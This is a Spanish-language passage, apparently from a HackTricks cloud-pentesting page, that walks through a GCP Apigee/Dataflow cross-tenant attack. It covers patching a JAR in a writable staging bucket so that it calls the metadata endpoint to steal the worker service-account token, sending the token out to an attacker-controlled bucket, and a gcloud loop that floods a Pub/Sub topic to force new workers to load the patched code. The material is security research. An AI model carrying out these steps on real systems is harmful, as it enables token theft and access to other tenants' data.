### Reemplazo de dependencias de Dataflow mediante un staging bucket escribible
- Analytics workers descargaban JARs desde un GCS staging bucket al inicio. Debido a que la Apigee SA tenía permisos de escritura en el bucket, descarga y parchea el JAR (por ejemplo, con Recaf) para llamar a `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` y robar el token **Dataflow worker**.
- Los Dataflow workers carecían de egress a Internet; exfiltra escribiendo el token en un GCS bucket controlado por el atacante usando las GCP APIs in-cluster.
### Forzar la ejecución de un JAR malicioso abusando del autoscaling
Los workers existentes no recargarán artefactos reemplazados. Inunda la entrada del pipeline para provocar nuevos workers:
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
Las instancias recién aprovisionadas obtienen los JARs parchados y leak el Dataflow SA token.
### Falla de diseño del bucket cross-tenant
El código decompilado de Dataflow mostró rutas de cache como `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` bajo un bucket de metadata compartido, sin ningún componente específico por tenant. Con el Dataflow token puedes leer/escribir:
- `tenantToTenantGroup` caches que exponen los nombres de proyecto y entorno de otros tenants.
- Las carpetas `customFields` y `datastores` que contienen analytics por solicitud (incluyendo las IPs de usuarios finales y tokens de acceso en texto plano) de todos los tenants.
- El acceso de escritura implica potencial analytics tampering/poisoning.
## Referencias
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}